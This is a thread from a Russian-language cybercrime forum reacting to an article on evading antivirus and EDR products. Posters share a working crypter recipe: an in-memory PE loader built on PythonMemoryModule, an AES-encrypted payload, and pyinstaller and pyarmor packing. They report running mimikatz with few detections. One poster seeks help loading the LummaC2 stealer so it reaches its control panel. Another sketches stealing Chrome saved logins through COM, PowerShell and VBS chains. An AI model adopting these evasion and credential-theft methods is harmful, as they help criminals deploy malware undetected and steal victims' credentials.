• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход AV, EDR, XDR

А вот это вот всё имеет какое-то применение в масштабах больших чем "я затестил на виртуалке"? В итоге получим очередной powershell с amsi?
При небольшом допиливании напильником, удалось получить вполне жизненспособный криптор для постэксплуатации. Вместо Pyramid использовать напрямую PythonMemoryModule, зашифровать свою полезную нагрузку AES и упаковать все pyinstaller, чтобы запускать одним exe файлом.
Даже без обфускации и дополнительних техник, такое решение обходит все AV/EDR кроме CrowdStrike, AVG и Avast
 
При небольшом допиливании напильником, удалось получить вполне жизненспособный криптор для постэксплуатации. Вместо Pyramid использовать напрямую PythonMemoryModule, зашифровать свою полезную нагрузку AES и упаковать все pyinstaller, чтобы запускать одним exe файлом.
Даже без обфускации и дополнительних техник, такое решение обходит все AV/EDR кроме CrowdStrike, AVG и Avast
На Pyinstaller ебашат детект если что, на нуитку тоже
 
На Pyinstaller ебашат детект если что, на нуитку тоже
Статик детекты не сложно обойти с помощью обфускации pyarmor, особенно если предварительно скомпилить модули через cython. На счет рантайма не знаю, но могу сказать, что exe запускающий c мимкатз, вызвал только 3 детекта на virustotal. Исходя из этого можно сказать, что абсолютное большинство AV не детектят рантайм питона
 
Подход с интерпретируемым кодом далеко не нов, как и использование экзотических компиляторов/линкеров. Боюсь, что это не убережет в нынешних реалиях от того что любой исполняемый код, хоть нативный, хоть интерпретируемый сводится к вызову одних и тех же API->NativeAPI->Syscall, а так как EDR давно уже орудуют во всю в ядре (например ставят callback'и в ring0 подпрограммах, используют фильтр-драйверы раннего обнаружения и т.д.) и перехватывают нативные функции в ring3, то такой подход может уберечь только от статики, и эвристики.
 
Последнее редактирование:
Подход с интерпретируемым кодом далеко не нов, как и использование экзотических компиляторов/линкеров. Боюсь, что это не убережет в нынешних реалиях от того что любой исполняемый код, хоть нативный, хоть интерпретируемый сводится к вызову одних и тех же API->NativeAPI->Syscall, а так как EDR давно уже орудуют во всю в ядре (например ставят callback'и в ring0 подпрограммах, используют фильтр-драйверы раннего обнаружения и т.д.) и перехватывают нативные функции в ring3, то такой подход может уберечь только от статики, и эвристики.
В чем то вы правы, но также не стоит забывать об последовательности вызовов функций

VirtualAlloc -> VirtualProtect -> memcpy -> call\jmp -> DETECT

При использовании того же самого питона стек вызовов будет размазан

VirtualAlloc -> VirtualAlloc -> HeapAlloc -> StrLenA -> ченить еще

И это может уберечь от рантайм детекта в каком то роде
 
Решил данный метод использовать для создания своего лоадера и уже на конечном этапе столкнулся с проблемой -
всё работает исправно и файл запускается в памяти, но я использую LummaС2 вместо CobaltStrike, как в итоге отстука нет в панель.
Возможно это происходит потому что у .exe люммы exit function != thread.
Может мне кто нибудь в деталях объяснить в чём моя ошибка и как конвертировать файл что бы он работал корректно, мои знания довольно ограничены, я скорей пользователь чем администратор или разработчик =(
 
В чем то вы правы, но также не стоит забывать об последовательности вызовов функций

VirtualAlloc -> VirtualProtect -> memcpy -> call\jmp -> DETECT

При использовании того же самого питона стек вызовов будет размазан

VirtualAlloc -> VirtualAlloc -> HeapAlloc -> StrLenA -> ченить еще

И это может уберечь от рантайм детекта в каком то роде
В том то и дело что в интерпретируемых языках не как в неуправляемом коде. В Си, к примеру, можно вызовы сделать динамично рандомными (хоть морфить, тут варианты ограничиваются только полетом фантазии кодера) и мы будем знать все наверняка. В интерпретаторах все статично а потом уходит к вызовам одних и тех же API.
Статика и эвристика для интерпретаторов и "редкоземельных" компиляторов/линкеров - Да, возможно, но до поры - до времени.
 
Последнее редактирование:
Да, возможно, но до поры - до времени.
Верно подмечено
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Решил данный метод использовать для создания своего лоадера и уже на конечном этапе столкнулся с проблемой -
всё работает исправно и файл запускается в памяти, но я использую LummaС2 вместо CobaltStrike, как в итоге отстука нет в панель.
Возможно это происходит потому что у .exe люммы exit function != thread.
Может мне кто нибудь в деталях объяснить в чём моя ошибка и как конвертировать файл что бы он работал корректно, мои знания довольно ограничены, я скорей пользователь чем администратор или разработчик =(
Все должно работать, мы еще год назад использовали этот метод только с JS для распространения.
 
В том то и дело что в интерпретируемых языках не как в неуправляемом коде. В Си, к примеру, можно вызовы сделать динамично рандомными (хоть морфить, тут варианты ограничиваются только полетом фантазии кодера) и мы будем знать все наверняка. В интерпретаторах все статично а потом уходит к вызовам одних и тех же API.
Статика и эвристика для интерпретаторов и "редкоземельных" компиляторов/линкеров - Да, возможно, но до поры - до времени.
Откуда убеждение, что в интерпретируемом языке нельзя сделать динамично-рандомные вызовы как на Си? Вот например, что под капотом вызывается в библиотеке pythonmemorymodule через которую в память подгружается полезная нагрузка у автора статьи. Ничего не мешает доработать этот метод и добавить рандомные winapi функции.
Python:
    def load_module(self):
        if self.new_command != None and len(self.new_command) != 0:
            passed_args=True
            self.cmdline_check()
        else:
            passed_args=False

        if not self.is_exe() and not self.is_dll():
            raise WindowsError('The specified module does not appear to be an exe nor a dll.')
        if self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE and isx64:
            raise WindowsError('The exe you attempted to load appears to be an 32-bit exe, but you are using a 64-bit version of Python.')
        elif self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE_PLUS and not isx64:
            raise WindowsError('The exe you attempted to load appears to be an 64-bit exe, but you are using a 32-bit version of Python.')
        
        self._codebaseaddr = VirtualAlloc(
            self.OPTIONAL_HEADER.ImageBase, # To test relocations, add some values here i.e. +int(0x030000000)
            self.OPTIONAL_HEADER.SizeOfImage,
            MEM_RESERVE,
            PAGE_READWRITE
        )

        if not bool(self._codebaseaddr):
            self._codebaseaddr = VirtualAlloc(
                NULL,
                self.OPTIONAL_HEADER.SizeOfImage,
                MEM_RESERVE,
                PAGE_READWRITE
            )
            if not bool(self._codebaseaddr):
                raise WindowsError('Cannot reserve memory')

        codebase = self._codebaseaddr
        self.dbg('Reserved %d bytes for dll at address: 0x%x', self.OPTIONAL_HEADER.SizeOfImage, codebase)
        self.pythonmemorymodule = cast(HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)), PMEMORYMODULE)
        self.pythonmemorymodule.contents.codeBase = codebase
        self.pythonmemorymodule.contents.numModules = 0
        self.pythonmemorymodule.contents.modules = cast(NULL, PHMODULE)
        self.pythonmemorymodule.contents.initialized = 0

        # Committing memory.
        VirtualAlloc(
            codebase,
            self.OPTIONAL_HEADER.SizeOfImage,
            MEM_COMMIT,
            PAGE_READWRITE
        )
        self._headersaddr = VirtualAlloc(
            codebase,
            self.OPTIONAL_HEADER.SizeOfHeaders,
            MEM_COMMIT,
            PAGE_READWRITE
        )
        if not bool(self._headersaddr):
            raise WindowsError('Could not commit memory for PE Headers!')

        szheaders = self.DOS_HEADER.e_lfanew + self.OPTIONAL_HEADER.SizeOfHeaders
        tmpheaders = create_unsigned_buffer(szheaders, self.__data__[:szheaders])
        if not memmove(self._headersaddr, cast(tmpheaders, c_void_p), szheaders):
             raise RuntimeError('memmove failed')
        del tmpheaders

        self._headersaddr += self.DOS_HEADER.e_lfanew
        self.pythonmemorymodule.contents.headers = cast(self._headersaddr, PIMAGE_NT_HEADERS)
        self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase = POINTER_TYPE(self._codebaseaddr)
        self.dbg('Copying sections to reserved memory block.')
        self.copy_sections()

        
        self.dbg('Checking for base relocations.')
        locationDelta = codebase - self.OPTIONAL_HEADER.ImageBase
        if locationDelta != 0:
            self.dbg('Detected relocations - Performing base relocations..')
            self.perform_base_relocations(locationDelta)

        self.dbg('Building import table.')
        self.build_import_table()
        self.dbg('Finalizing sections.')
        self.finalize_sections()
        self.dbg('Executing TLS.')
        self.ExecuteTLS()
        if passed_args:
            self.dbg('Stomping PEB')
            self.stomp_PEB()
        
        
        
        self.dbg('Starting new thread to execute PE')
        my_thread = threading.Thread(target=self.execPE)
        my_thread.start()
        if passed_args:
            self.unstomp_PEB()
 
Откуда убеждение, что в интерпретируемом языке нельзя сделать динамично-рандомные вызовы как на Си? Вот например, что под капотом вызывается в библиотеке pythonmemorymodule через которую в память подгружается полезная нагрузка у автора статьи. Ничего не мешает доработать этот метод и добавить рандомные winapi функции.
Python:
    def load_module(self):
        if self.new_command != None and len(self.new_command) != 0:
            passed_args=True
            self.cmdline_check()
        else:
            passed_args=False

        if not self.is_exe() and not self.is_dll():
            raise WindowsError('The specified module does not appear to be an exe nor a dll.')
        if self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE and isx64:
            raise WindowsError('The exe you attempted to load appears to be an 32-bit exe, but you are using a 64-bit version of Python.')
        elif self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE_PLUS and not isx64:
            raise WindowsError('The exe you attempted to load appears to be an 64-bit exe, but you are using a 32-bit version of Python.')
       
        self._codebaseaddr = VirtualAlloc(
            self.OPTIONAL_HEADER.ImageBase, # To test relocations, add some values here i.e. +int(0x030000000)
            self.OPTIONAL_HEADER.SizeOfImage,
            MEM_RESERVE,
            PAGE_READWRITE
        )

        if not bool(self._codebaseaddr):
            self._codebaseaddr = VirtualAlloc(
                NULL,
                self.OPTIONAL_HEADER.SizeOfImage,
                MEM_RESERVE,
                PAGE_READWRITE
            )
            if not bool(self._codebaseaddr):
                raise WindowsError('Cannot reserve memory')

        codebase = self._codebaseaddr
        self.dbg('Reserved %d bytes for dll at address: 0x%x', self.OPTIONAL_HEADER.SizeOfImage, codebase)
        self.pythonmemorymodule = cast(HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)), PMEMORYMODULE)
        self.pythonmemorymodule.contents.codeBase = codebase
        self.pythonmemorymodule.contents.numModules = 0
        self.pythonmemorymodule.contents.modules = cast(NULL, PHMODULE)
        self.pythonmemorymodule.contents.initialized = 0

        # Committing memory.
        VirtualAlloc(
            codebase,
            self.OPTIONAL_HEADER.SizeOfImage,
            MEM_COMMIT,
            PAGE_READWRITE
        )
        self._headersaddr = VirtualAlloc(
            codebase,
            self.OPTIONAL_HEADER.SizeOfHeaders,
            MEM_COMMIT,
            PAGE_READWRITE
        )
        if not bool(self._headersaddr):
            raise WindowsError('Could not commit memory for PE Headers!')

        szheaders = self.DOS_HEADER.e_lfanew + self.OPTIONAL_HEADER.SizeOfHeaders
        tmpheaders = create_unsigned_buffer(szheaders, self.__data__[:szheaders])
        if not memmove(self._headersaddr, cast(tmpheaders, c_void_p), szheaders):
             raise RuntimeError('memmove failed')
        del tmpheaders

        self._headersaddr += self.DOS_HEADER.e_lfanew
        self.pythonmemorymodule.contents.headers = cast(self._headersaddr, PIMAGE_NT_HEADERS)
        self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase = POINTER_TYPE(self._codebaseaddr)
        self.dbg('Copying sections to reserved memory block.')
        self.copy_sections()

       
        self.dbg('Checking for base relocations.')
        locationDelta = codebase - self.OPTIONAL_HEADER.ImageBase
        if locationDelta != 0:
            self.dbg('Detected relocations - Performing base relocations..')
            self.perform_base_relocations(locationDelta)

        self.dbg('Building import table.')
        self.build_import_table()
        self.dbg('Finalizing sections.')
        self.finalize_sections()
        self.dbg('Executing TLS.')
        self.ExecuteTLS()
        if passed_args:
            self.dbg('Stomping PEB')
            self.stomp_PEB()
       
       
       
        self.dbg('Starting new thread to execute PE')
        my_thread = threading.Thread(target=self.execPE)
        my_thread.start()
        if passed_args:
            self.unstomp_PEB()
Как вариант, не знаю точно как работает питон под капотом, но скорее всего в процессе интерпретирования кода и его выполнения - и вызываются фукнции
 
В 18ых годах надо было написать LLVM, ast ультра-морфер сорцов, поддерживающий C++11, выложить полный POC на форум, который поморфит тебе любой код, загрузит драйвер, анхукнет вызовы в ядре в перемешку с белыми вызовами апи, но этого было мало. Люди требовали сделать полиморфный ВМ со своим ЯП, даже в таком случае коммент Апокса под типу "баян", "делали еще в 2010 году" было не избежать, так еще из под бока выйдет хранитель с очередными видео, где покажет как обойти спам фильтр, пролить через адсы и не словить ни один алерт ни от хрома, ни от UAC без смс и регистрации. Помнится какой-то бедолага выложил стилер на форум на петоне, так его чуть до суицида не довели, а сейчас вполне так на конкурс тянет за 20к зеленых :)
 
хоть интерпретируемый сводится к вызову одних и тех же API->NativeAPI->Syscall, а так как EDR давно уже орудуют во всю в ядре (например ставят callback'и в ring0 подпрограммах, используют фильтр-драйверы раннего обнаружения и т.д.) и перехватывают нативные функции в ring3, то такой подход может уберечь только от статики, и эвристики.
Можно дергать COM объекты для взаимодействия. Например тебе надо прочитать Login Data хромовский. На вызов апи как ты уже сказал в ядре хукнет и посмотрит аргументы, но можно использовать сам же хром, чтоб он скачал этот файл в загрузки и спокойно стилнуть. Пока аверы не очень-то хорошо работают над постронием логической цепочки вызовов из под разных систем. Ниче не мешает дернуть vbs, сделать определенное вычисление и передать как аргумент нужной тебе функции. Запуск хрома, чтение с помощью повершелл, удаление файла через вбс и отправка COM IE.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх